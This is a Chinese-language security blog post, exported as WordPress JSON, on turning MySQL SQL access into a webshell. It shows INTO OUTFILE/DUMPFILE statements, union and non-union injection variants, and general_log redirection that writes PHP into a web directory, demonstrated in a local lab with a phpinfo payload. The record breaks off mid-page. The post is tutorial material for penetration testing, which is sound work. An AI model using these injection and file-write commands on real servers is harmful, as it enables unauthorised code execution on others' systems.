{"id":1679,"date":"2024-11-28T01:45:11","date_gmt":"2024-11-27T17:45:11","guid":{"rendered":"https:\/\/foreverhome.live\/?p=1679"},"modified":"2026-05-10T09:47:43","modified_gmt":"2026-05-10T01:47:43","slug":"sqlinjectionauthorization","status":"publish","type":"post","link":"https:\/\/foreverhome.live\/index.php\/2024\/11\/28\/sqlinjectionauthorization\/","title":{"rendered":"\u3010\u7f51\u7edc\u5b89\u5168\u3011\u4ec0\u4e48\uff1f\u4f60\u8fd8\u4e0d\u4f1a\u901a\u8fc7SQL\u63d0\u6743\uff1f\uff08MySQL\u7bc7\uff09"},"content":{"rendered":"\n\n\n<p class=\"wp-block-paragraph\"><strong><strong><mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-vivid-green-cyan-color\">\u4f7f\u7528\u7684\u5de5\u5177\uff1a<\/mark><\/strong><\/strong><\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li>SQLMap<\/li>\n\n\n\n<li>DBeaver<\/li>\n<\/ol>\n\n\n\n<p class=\"has-light-green-cyan-color has-text-color wp-block-paragraph\"><strong><mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-vivid-green-cyan-color\">\u6570\u636e\u5e93<\/mark><\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>SQLServer\uff08MSSQL\uff09<\/li>\n\n\n\n<li>MySQL<\/li>\n<\/ul>\n\n\n\n<hr class=\"wp-block-separator has-text-color has-cyan-bluish-gray-color has-alpha-channel-opacity has-cyan-bluish-gray-background-color has-background is-style-wide\"\/>\n\n\n\n<p class=\"has-text-align-center has-light-green-cyan-color has-text-color has-medium-font-size wp-block-paragraph\"><strong><mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-vivid-green-cyan-color\">\u524d\u8a00<\/mark><\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u672c\u6587\u4e3b\u8981\u4ecb\u7ecd\u603b\u7ed3<strong><mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-luminous-vivid-orange-color\">MySQL<\/mark><\/strong>\u548c<strong><mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-luminous-vivid-orange-color\">SQLServer<\/mark><\/strong>\u8fd9\u4e24\u4e2a\u5e38\u89c1\u7684\u6570\u636e\u5e93\u7684\u63d0\u6743\u65b9\u6cd5<strong>\uff08\u4e0d\u6d89\u53caSQLMap\uff09<\/strong>\u4ec5\u901a\u8fc7SQL \u2192 Shell\uff0c\u6240\u4ee5\u4e0d\u4f1a\u4ecb\u7ecd\u901a\u8fc7SQL\u8fdb\u884cUSER \u2192 ROOT\u7684\u63d0\u6743\u65b9\u5f0f\u3002MySQL\u81ea\u4e0d\u5fc5\u8bf4\uff0cSQLServer\u5728\u653f\u5e9c\u90e8\u95e8\u6216\u6559\u80b2\u90e8\u95e8\u7684\u4fdd\u6709\u91cf\u8fd8\u662f\u76f8\u5f53\u53ef\u89c2\u7684\u3002\u672c\u6587\u7ed3\u5408\u4e3b\u6d41\u7684<strong><mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-luminous-vivid-orange-color\">\u547d\u4ee4\u6267\u884c<\/mark><\/strong>\u548c<strong><mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-luminous-vivid-orange-color\">\u5199\u5165WebShell<\/mark><\/strong>\u7684\u63d0\u6743\u65b9\u5f0f\uff0c\u5e76\u7ed3\u5408\u4e0d\u540c\u7684\u9002\u7528\u5e38\u89c1\u3002<\/p>\n\n\n\n<p class=\"has-text-align-center wp-block-paragraph\"><strong><mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-vivid-red-color\">\u6587\u4e2d\u6240\u6d89\u53ca\u7684\u6280\u672f\u3001\u601d\u8def\u548c\u5de5\u5177\u4ec5\u4f9b\u4ee5\u5b89\u5168\u4e3a\u76ee\u7684\u7684\u5b66\u4e60\u4ea4\u6d41\u4f7f\u7528\uff0c\u4efb\u4f55\u4eba\u4e0d\u5f97\u5c06\u5176\u7528\u4e8e\u975e\u6cd5\u7528\u9014\u4ee5\u53ca\u76c8\u5229\u7b49\u76ee\u7684\uff0c\u5426\u5219\u540e\u679c\u81ea\u884c\u627f\u62c5\uff01<\/mark><\/strong><\/p>\n\n\n\n<hr class=\"wp-block-separator has-text-color has-cyan-bluish-gray-color has-alpha-channel-opacity has-cyan-bluish-gray-background-color has-background is-style-wide\"\/>\n\n\n\n<h2 class=\"wp-block-heading\" style=\"font-size:28px\"><strong><mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-vivid-green-cyan-color\">MySQL<\/mark><\/strong><\/h2>\n\n\n\n<h3 class=\"wp-block-heading\" style=\"font-size:25px\">outfile\u548cdumpfile GetShell<\/h3>\n\n\n\n<hr class=\"wp-block-separator has-text-color has-cyan-bluish-gray-color has-alpha-channel-opacity has-cyan-bluish-gray-background-color has-background is-style-wide\"\/>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>\u6761\u4ef6\uff1a<\/strong><\/li>\n\n\n\n<li>\u9700\u8981Web\u76ee\u5f55\u5199\u5165\u6743\u9650<\/li>\n\n\n\n<li>\u9700\u8981\u6570\u636e\u5e93DBA\u6743\u9650<\/li>\n\n\n\n<li>\u5df2\u77e5\u6653\u7edd\u5bf9\u8def\u5f84<\/li>\n\n\n\n<li>secure-file-priv\u5141\u8bb8\u5199\u5165Web\u76ee\u5f55\uff08\u5982\u4e0a\u8ff0\u6761\u4ef6\u7b26\u5408\uff0c\u4f46\u65e0secure-file-priv\uff0c\u89c1\u65e5\u5fd7\u5199\u5165\u65b9\u6cd5\uff09<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">\u9700\u8981\u7279\u522b\u6ce8\u610f\u7684\u662f <strong><mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-luminous-vivid-orange-color\">secure-file-priv<\/mark><\/strong>\uff0c\u4ed6\u662fMySQL\u4e2d\u7684\u4e00\u4e2a\u7cfb\u7edf\u53d8\u91cf\uff0c\u53ef\u4ee5\u5728 <strong><mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-luminous-vivid-orange-color\">my.ini<\/mark><\/strong> \u4e2d\u8bbe\u7f6e\uff0c\u7528\u4e8e<strong><mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-luminous-vivid-orange-color\">\u9650\u5236 load data\u3001select ... into outfile\/dumpfile\u3001load_file() \u4e2d\u7684\u5199\u5165\u64cd\u4f5c<\/mark><\/strong>\uff0c\u4ec5\u5141\u8bb8\u5199\u5165\u5176\u8bbe\u5b9a\u7684\u76ee\u5f55\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u5f53 <strong><mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-luminous-vivid-orange-color\">secure_file_priv <\/mark><\/strong>\u7684\u503c\u4e3a\u7a7a\uff0c\u8868\u793a<strong>\u4e0d\u5bf9MySQL\u7684\u5bfc\u5165\u6216\u5bfc\u51fa\u505a\u9650\u5236<\/strong>\uff0c\u5982\u679c\u4e3a <strong><mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-luminous-vivid-orange-color\">NULL<\/mark><\/strong>\uff0c\u8868\u793a<strong>MySQL\u4e0d\u5141\u8bb8\u5bfc\u5165\u5bfc\u51fa<\/strong>\uff0c\u5982\u679c <strong><mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-luminous-vivid-orange-color\">my.ini<\/mark><\/strong> \u4e2d\u4e0d\u5b58\u5728\u8fd9\u4e00\u9879\u5219\u9ed8\u8ba4\u4e3a <strong>NULL<\/strong> \u3002\u5728 <strong><mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-luminous-vivid-orange-color\">mysql 5.6.34 <\/mark><\/strong>\u7248\u672c\u4ee5\u540e&nbsp;<strong><mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-luminous-vivid-orange-color\">secure_file_priv<\/mark><\/strong>&nbsp;\u7684\u503c<strong>\u9ed8\u8ba4\u4e3aNULL<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u53ef\u4ee5\u901a\u8fc7\u5982\u4e0b\u6307\u4ee4\u67e5\u770b&nbsp;<strong>secure_file_priv<\/strong> \u7684\u503c\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>show variables like 'secure_file_priv';<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u6211\u8fd9\u91cc\u4f7f\u7528\u7684\u662f <strong>Mysql 5.7.26 <\/strong>\u6545\u6b64\u5904\u5728\u975e\u8ba4\u4e3a\u66f4\u6539\u9ed8\u8ba4\u4e3a<strong>NULL<\/strong>\u3002\u4e3a\u4e86\u65b9\u4fbf\u540e\u7eed\u6f14\u793a\uff0c\u6211\u5148\u5728<strong>my.ini<\/strong>\u4e2d\u6dfb\u52a0\"<strong><mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-luminous-vivid-orange-color\">secure_file_priv=<\/mark><\/strong>\"<strong>\uff08\u6ce8\u610f\u4fee\u6539\u540e\u9700\u8981\u91cd\u542fMySQL\uff09<\/strong><\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full is-resized\"><img decoding=\"async\" width=\"878\" height=\"360\" data-src=\"https:\/\/foreverhome.live\/wp-content\/uploads\/2024\/11\/1732713944-image.png\" alt=\"\" class=\"wp-image-1703 lazyload\" style=\"--smush-placeholder-width: 878px; --smush-placeholder-aspect-ratio: 878\/360;width:610px;height:auto\" data-srcset=\"https:\/\/foreverhome.live\/wp-content\/uploads\/2024\/11\/1732713944-image.png 878w, https:\/\/foreverhome.live\/wp-content\/uploads\/2024\/11\/1732713944-image-300x123.png 300w, https:\/\/foreverhome.live\/wp-content\/uploads\/2024\/11\/1732713944-image-768x315.png 768w\" data-sizes=\"(max-width: 878px) 100vw, 878px\" src=\"data:image\/svg+xml;base64,PHN2ZyB3aWR0aD0iMSIgaGVpZ2h0PSIxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjwvc3ZnPg==\" \/><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\">\u5728\u8bbe\u7f6e\u5b8c\u6210\u540e\uff0c\u901a\u8fc7 <strong><mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-luminous-vivid-orange-color\">outfile <\/mark><\/strong>\u6216 <strong><mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-luminous-vivid-orange-color\">dumpfile <\/mark><\/strong>\u6765\u5199\u5165WebShell\u5230Web<strong>\u53ef\u8bbf\u95ee<\/strong>\u8def\u5f84\u4e0b\u5373\u53ef\u3002<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code># outfile\nselect '&lt;?php phpinfo(); ?&gt;' into outfile 'E:\\\\phpstudy_pro\\\\WWW\\\\test\\\\upload\\\\phpinfo.php';\n# dumpfile\nselect '&lt;?php phpinfo(); ?&gt;' into dumpfile 'E:\\\\phpstudy_pro\\\\WWW\\\\test\\\\upload\\\\phpinfo.php'\uff1b<\/code><\/pre>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large is-resized\"><img decoding=\"async\" width=\"1024\" height=\"369\" data-src=\"https:\/\/foreverhome.live\/wp-content\/uploads\/2024\/11\/1732714763-image-1024x369.png\" alt=\"\" class=\"wp-image-1711 lazyload\" style=\"--smush-placeholder-width: 1024px; --smush-placeholder-aspect-ratio: 1024\/369;width:604px;height:auto\" data-srcset=\"https:\/\/foreverhome.live\/wp-content\/uploads\/2024\/11\/1732714763-image-1024x369.png 1024w, https:\/\/foreverhome.live\/wp-content\/uploads\/2024\/11\/1732714763-image-300x108.png 300w, https:\/\/foreverhome.live\/wp-content\/uploads\/2024\/11\/1732714763-image-768x277.png 768w, https:\/\/foreverhome.live\/wp-content\/uploads\/2024\/11\/1732714763-image-1536x554.png 1536w, https:\/\/foreverhome.live\/wp-content\/uploads\/2024\/11\/1732714763-image.png 1554w\" data-sizes=\"(max-width: 1024px) 100vw, 1024px\" src=\"data:image\/svg+xml;base64,PHN2ZyB3aWR0aD0iMSIgaGVpZ2h0PSIxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjwvc3ZnPg==\" \/><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\">\u53ef\u4ee5\u89c2\u5bdf\u5230\u6587\u4ef6\u5df2\u7ecf\u4e0a\u4f20\u5230\u76ee\u6807\u4e3b\u673a\uff0c\u6700\u540e\u5c31\u662f\u770b\u662f\u5426\u53ef\u4ee5\u6b63\u5e38\u8bbf\u95ee<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large is-resized\"><img decoding=\"async\" width=\"1024\" height=\"449\" data-src=\"https:\/\/foreverhome.live\/wp-content\/uploads\/2024\/11\/1732714935-image-1024x449.png\" alt=\"\" class=\"wp-image-1712 lazyload\" style=\"--smush-placeholder-width: 1024px; --smush-placeholder-aspect-ratio: 1024\/449;width:631px;height:auto\" data-srcset=\"https:\/\/foreverhome.live\/wp-content\/uploads\/2024\/11\/1732714935-image-1024x449.png 1024w, https:\/\/foreverhome.live\/wp-content\/uploads\/2024\/11\/1732714935-image-300x131.png 300w, https:\/\/foreverhome.live\/wp-content\/uploads\/2024\/11\/1732714935-image-768x337.png 768w, https:\/\/foreverhome.live\/wp-content\/uploads\/2024\/11\/1732714935-image-1536x673.png 1536w, https:\/\/foreverhome.live\/wp-content\/uploads\/2024\/11\/1732714935-image-2048x897.png 2048w\" data-sizes=\"(max-width: 1024px) 100vw, 1024px\" src=\"data:image\/svg+xml;base64,PHN2ZyB3aWR0aD0iMSIgaGVpZ2h0PSIxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjwvc3ZnPg==\" \/><\/figure>\n<\/div>\n\n\n<p class=\"has-medium-font-size wp-block-paragraph\"><strong>DumpFile\u548cOutFile\u533a\u522b\u5982\u4e0b\uff1a<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>DumpFile<\/strong>\n<ul class=\"wp-block-list\">\n<li><strong>\u529f\u80fd<\/strong>\uff1a\u5c06\u67e5\u8be2\u7ed3\u679c\u7684\u5355\u884c\u6570\u636e\u5199\u5165\u6587\u4ef6<\/li>\n\n\n\n<li>\u4e0d\u6dfb\u52a0\u4efb\u4f55\u5206\u9694\u7b26\u6216\u6362\u884c\u7b26<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>OutFile<\/strong>\n<ul class=\"wp-block-list\">\n<li><strong>\u529f\u80fd<\/strong>\uff1a\u5c06\u67e5\u8be2\u7ed3\u679c\u7684\u591a\u884c\u6570\u636e\u5199\u5165\u6587\u4ef6<\/li>\n\n\n\n<li>\u5141\u8bb8\u6307\u5b9a\u5b57\u6bb5\u548c\u884c\u7684\u5206\u9694\u7b26<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<p class=\"has-medium-font-size wp-block-paragraph\"><strong>\u8054\u5408\u6ce8\u5165<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code># outfile\nselect * from user where id=1 union select 1,'&lt;?php phpinfo(); ?&gt;' into outfile &lt;\u5bfc\u51fa\u4f4d\u7f6e&gt;\n# dumpfile\nselect * from user where id=1 union select 1,'&lt;?php phpinfo(); ?&gt;' into dumpfile &lt;\u5bfc\u51fa\u4f4d\u7f6e&gt;<\/code><\/pre>\n\n\n\n<p class=\"has-medium-font-size wp-block-paragraph\"><strong>\u975e\u8054\u5408\u6ce8\u5165<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>FIELDS TERMINATED BY<\/strong>\n<ul class=\"wp-block-list\">\n<li><strong>\u4f5c\u7528<\/strong>\uff1a\u6307\u5b9a\u5b57\u6bb5\u4e4b\u95f4\u7684\u5206\u9694\u7b26\u3002<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>LINES TERMINATED BY<\/strong>\n<ul class=\"wp-block-list\">\n<li><strong>\u4f5c\u7528<\/strong>\uff1a\u6307\u5b9a\u884c\u4e4b\u95f4\u7684\u5206\u9694\u7b26\u3002<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code># outfile\nselect * from user where id=1 into outfile &lt;\u5bfc\u51fa\u4f4d\u7f6e&gt; fields terminated by '&lt;?php phpinfo();?&gt;'\nselect * from user where id=1 into outfile &lt;\u5bfc\u51fa\u4f4d\u7f6e&gt; lines terminated by '&lt;?php phpinfo();?&gt;'\n# dumpfile\nselect * from user where id=1 into dumpfile &lt;\u5bfc\u51fa\u4f4d\u7f6e&gt; fields terminated by '&lt;?php phpinfo();?&gt;'\nselect * from user where id=1 into dumpfile &lt;\u5bfc\u51fa\u4f4d\u7f6e&gt; lines terminated by '&lt;?php phpinfo();?&gt;'<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\" style=\"font-size:25px\">\u65e5\u5fd7\u6587\u4ef6GetShell<\/h3>\n\n\n\n<hr class=\"wp-block-separator has-text-color has-cyan-bluish-gray-color has-alpha-channel-opacity has-cyan-bluish-gray-background-color has-background is-style-wide\"\/>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>\u6761\u4ef6\uff1a<\/strong><\/li>\n\n\n\n<li>\u9700\u8981Web\u76ee\u5f55\u5199\u5165\u6743\u9650<\/li>\n\n\n\n<li>\u9700\u8981\u6570\u636e\u5e93DBA\u6743\u9650<\/li>\n\n\n\n<li>\u5df2\u77e5\u6653\u7edd\u5bf9\u8def\u5f84<\/li>\n\n\n\n<li>\u5b58\u5728\u5806\u53e0\u6ce8\u5165<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">\u9996\u5148\u5728MySQL\u4e2d\u5b58\u5728\u4ee5\u4e0b\u51e0\u79cd\u65e5\u5fd7\u5f62\u5f0f\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u9519\u8bef\u65e5\u5fd7<\/li>\n\n\n\n<li><strong><mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-luminous-vivid-orange-color\">\u67e5\u8be2\u65e5\u5fd7<\/mark><\/strong><\/li>\n\n\n\n<li><strong><mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-luminous-vivid-orange-color\">\u6162\u67e5\u8be2\u65e5\u5fd7<\/mark><\/strong><\/li>\n\n\n\n<li>\u4e8c\u8fdb\u5236\u65e5\u5fd7<\/li>\n\n\n\n<li>\u4e2d\u7ee7\u65e5\u5fd7<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">\u6211\u4eec\u9700\u8981\u7528\u65e5\u5fd7\u6765\u5199WebShell\uff0c\u9996\u5148\u5f97\u786e\u5b9a\u65e5\u5fd7\u5185\u5bb9\u662f<strong><mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-luminous-vivid-orange-color\">\u53ef\u63a7<\/mark><\/strong>\u7684\uff0c\u4e0d\u7136\u4e5f\u5c31\u65e0\u6cd5\u786e\u5b9a\u5230\u5e95\u5199\u5165\u4e86\u4ec0\u4e48\u8fdb\u65e5\u5fd7\u3002\u5728\u4e0a\u8ff0\u51e0\u79cd\u5f62\u5f0f\u4e2d\uff0c<strong><mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-luminous-vivid-orange-color\">\u67e5\u8be2\u65e5\u5fd7<\/mark><\/strong>\u3001<strong><mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-luminous-vivid-orange-color\">\u6162\u67e5\u8be2\u65e5\u5fd7<\/mark><\/strong>\u548c<strong>\u4e8c\u8fdb\u5236\u65e5\u5fd7<\/strong>\u3002\u4e8c\u8fdb\u5236\u65e5\u5fd7\u9700\u8981\u624b\u52a8\u5728 <strong>my.ini<\/strong> \u4e2d\u5f00\u542f\uff0c\u8fd9\u91cc\u5c31\u7565\u8fc7\u3002<\/p>\n\n\n\n<h4 class=\"wp-block-heading\" style=\"font-size:22px\"><strong>\u67e5\u8be2\u65e5\u5fd7<\/strong><\/h4>\n\n\n\n<p class=\"wp-block-paragraph\">\u67e5\u8be2\u65e5\u5fd7\u8bb0\u5f55\u5ba2\u6240\u6709<strong>\u5ba2\u6237\u7aef\u8fde\u63a5\u548c\u65ad\u5f00\u548c\u6267\u884c\u7684SQL\u8bed\u53e5<\/strong><\/p>\n\n\n\n<p class=\"has-text-align-center wp-block-paragraph\"><strong><mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-vivid-red-color\">\u7531\u4e8e\u9700\u8981\u4fee\u6539MySQL\u5168\u5c40\u8bbe\u7f6e\uff0c\u8bf7\u52a1\u5fc5\u901a\u8fc7\u5982\u4e0b\u6307\u4ee4\u4e8b\u5148\u67e5\u8be2\u9ed8\u8ba4\u8bbe\u7f6e\uff0c\u5e76\u8fdb\u884c\u8c28\u614e\u66f4\u6539<\/mark><\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>show variables like '%general%';<\/code><\/pre>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large is-resized\"><img decoding=\"async\" width=\"1024\" height=\"352\" data-src=\"https:\/\/foreverhome.live\/wp-content\/uploads\/2024\/11\/1732723926-image-1024x352.png\" alt=\"\" class=\"wp-image-1723 lazyload\" style=\"--smush-placeholder-width: 1024px; --smush-placeholder-aspect-ratio: 1024\/352;width:624px;height:auto\" data-srcset=\"https:\/\/foreverhome.live\/wp-content\/uploads\/2024\/11\/1732723926-image-1024x352.png 1024w, https:\/\/foreverhome.live\/wp-content\/uploads\/2024\/11\/1732723926-image-300x103.png 300w, https:\/\/foreverhome.live\/wp-content\/uploads\/2024\/11\/1732723926-image-768x264.png 768w, https:\/\/foreverhome.live\/wp-content\/uploads\/2024\/11\/1732723926-image.png 1290w\" data-sizes=\"(max-width: 1024px) 100vw, 1024px\" src=\"data:image\/svg+xml;base64,PHN2ZyB3aWR0aD0iMSIgaGVpZ2h0PSIxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjwvc3ZnPg==\" \/><\/figure>\n<\/div>\n\n\n<ul class=\"wp-block-list\">\n<li><strong>general_log<\/strong>\n<ul class=\"wp-block-list\">\n<li>\u6b64\u5904\u4e3a\u5f53\u524d\u67e5\u8be2\u65e5\u5fd7\u72b6\u6001\uff0c\u9ed8\u8ba4\u4e3aOFF\uff0c\u9700\u8981\u624b\u52a8\u6253\u5f00\uff0c\u6253\u5f00\u540e\u5f00\u59cb\u8bb0\u5f55\u67e5\u8be2\u65e5\u5fd7<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>general_log_file<\/strong>\n<ul class=\"wp-block-list\">\n<li>\u6b64\u5904\u4e3a\u67e5\u8be2\u65e5\u5fd7\u4fdd\u5b58\u7684\u4f4d\u7f6e<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">\u6211\u4eec\u9700\u8981\u5728\u65e5\u5fd7\u6587\u4ef6\u4e2d<strong><mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-luminous-vivid-orange-color\">\u5199\u5165\u4e00\u53e5\u8bdd\u6728\u9a6c<\/mark><\/strong>\uff0c\u653e\u5165<strong><mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-luminous-vivid-orange-color\">Web\u6587\u4ef6\u5939<\/mark><\/strong>\u4e2d\uff0c\u9996\u5148\u9700\u8981<strong>\u4fee\u6539\u65e5\u5fd7\u6587\u4ef6\u4fdd\u5b58\u7684\u4f4d\u7f6e<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>set global general_log_file = 'E:\\\\phpstudy_pro\\\\WWW\\\\test\\\\upload\\\\phpinfo.php';<\/code><\/pre>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large is-resized\"><img decoding=\"async\" width=\"1024\" height=\"335\" data-src=\"https:\/\/foreverhome.live\/wp-content\/uploads\/2024\/11\/1732724265-image-1024x335.png\" alt=\"\" class=\"wp-image-1724 lazyload\" style=\"--smush-placeholder-width: 1024px; --smush-placeholder-aspect-ratio: 1024\/335;width:622px;height:auto\" data-srcset=\"https:\/\/foreverhome.live\/wp-content\/uploads\/2024\/11\/1732724265-image-1024x335.png 1024w, https:\/\/foreverhome.live\/wp-content\/uploads\/2024\/11\/1732724265-image-300x98.png 300w, https:\/\/foreverhome.live\/wp-content\/uploads\/2024\/11\/1732724265-image-768x251.png 768w, https:\/\/foreverhome.live\/wp-content\/uploads\/2024\/11\/1732724265-image.png 1424w\" data-sizes=\"(max-width: 1024px) 100vw, 1024px\" src=\"data:image\/svg+xml;base64,PHN2ZyB3aWR0aD0iMSIgaGVpZ2h0PSIxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjwvc3ZnPg==\" \/><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\">\u7136\u540e<strong><mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-luminous-vivid-orange-color\">\u5f00\u542f\u65e5\u5fd7\u8bb0\u5f55<\/mark><\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>set global general_log = on;<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u6b64\u65f6\u76ee\u6807\u8def\u5f84\u4e0b\u4f1a\u7acb\u523b\u751f\u6210\u4e00\u4e2a <strong>phpinfo.php<\/strong> \u8fd9\u662f\u6211\u4eec\u521a\u521a\u8bbe\u7f6e\u7684\u6587\u4ef6\u540d\u3002\u4f46\u6b64\u65f6\u6587\u4ef6\u5185\u4e0d\u4f1a\u6709\u4efb\u4f55\u4e1c\u897f\uff0c\u77e5\u9053\u6267\u884c\u67e5\u8be2\u8bed\u53e5\uff0c<strong><mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-luminous-vivid-orange-color\">\u67e5\u8be2\u65e5\u5fd7\u624d\u4f1a\u5199\u5165\u67e5\u8be2\u5185\u5bb9<\/mark><\/strong>\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u6240\u4ee5\u63a5\u4e0b\u6765\u968f\u4fbf<strong><mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-luminous-vivid-orange-color\">\u6267\u884c\u4e00\u6761\u5b58\u5728\u8f7d\u8377\u7684\u67e5\u8be2\u8bed\u53e5<\/mark><\/strong>\u5373\u53ef\uff0c\u4f8b\u5982\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>select '&lt;?php phpinfo();?&gt;';<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u6b64\u65f6\u6587\u4ef6\u4e2d\u5c31\u4f1a\u4f5c\u4e3a\u65e5\u5fd7\u5199\u5165\u6211\u4eec\u521a\u521a\u7684\u6587\u4ef6\u4e2d\uff0c\u5982\u4e0b<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large is-resized\"><img decoding=\"async\" width=\"1024\" height=\"179\" data-src=\"https:\/\/foreverhome.live\/wp-content\/uploads\/2024\/11\/1732724541-image-1024x179.png\" alt=\"\" class=\"wp-image-1725 lazyload\" style=\"--smush-placeholder-width: 1024px; --smush-placeholder-aspect-ratio: 1024\/179;width:722px;height:auto\" data-srcset=\"https:\/\/foreverhome.live\/wp-content\/uploads\/2024\/11\/1732724541-image-1024x179.png 1024w, https:\/\/foreverhome.live\/wp-content\/uploads\/2024\/11\/1732724541-image-300x53.png 300w, https:\/\/foreverhome.live\/wp-content\/uploads\/2024\/11\/1732724541-image-768x135.png 768w, https:\/\/foreverhome.live\/wp-content\/uploads\/2024\/11\/1732724541-image-1536x269.png 1536w, https:\/\/foreverhome.live\/wp-content\/uploads\/2024\/11\/1732724541-image-2048x359.png 2048w\" data-sizes=\"(max-width: 1024px) 100vw, 1024px\" src=\"data:image\/svg+xml;base64,PHN2ZyB3aWR0aD0iMSIgaGVpZ2h0PSIxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjwvc3ZnPg==\" \/><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\"><strong><mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-vivid-red-color\">\u6700\u540e\u5173\u95ed\u67e5\u8be2\u65e5\u5fd7\uff0c\u5e76\u6062\u590d\u539f\u8bbe\u7f6e<\/mark><\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>set global general_log = OFF;\nset global general_log_file = 'E:\\\\phpstudy_pro\\\\Extensions\\\\MysQL5.7.26\\\\data\\\\WIN-622VTPC9KF2.1og';<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u5c1d\u8bd5\u8bbf\u95ee\u4e00\u4e0b\u76ee\u6807\u4f4d\u7f6e<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large is-resized\"><img decoding=\"async\" width=\"1024\" height=\"392\" data-src=\"https:\/\/foreverhome.live\/wp-content\/uploads\/2024\/11\/1732724655-image-1024x392.png\" alt=\"\" class=\"wp-image-1727 lazyload\" style=\"--smush-placeholder-width: 1024px; --smush-placeholder-aspect-ratio: 1024\/392;width:740px;height:auto\" 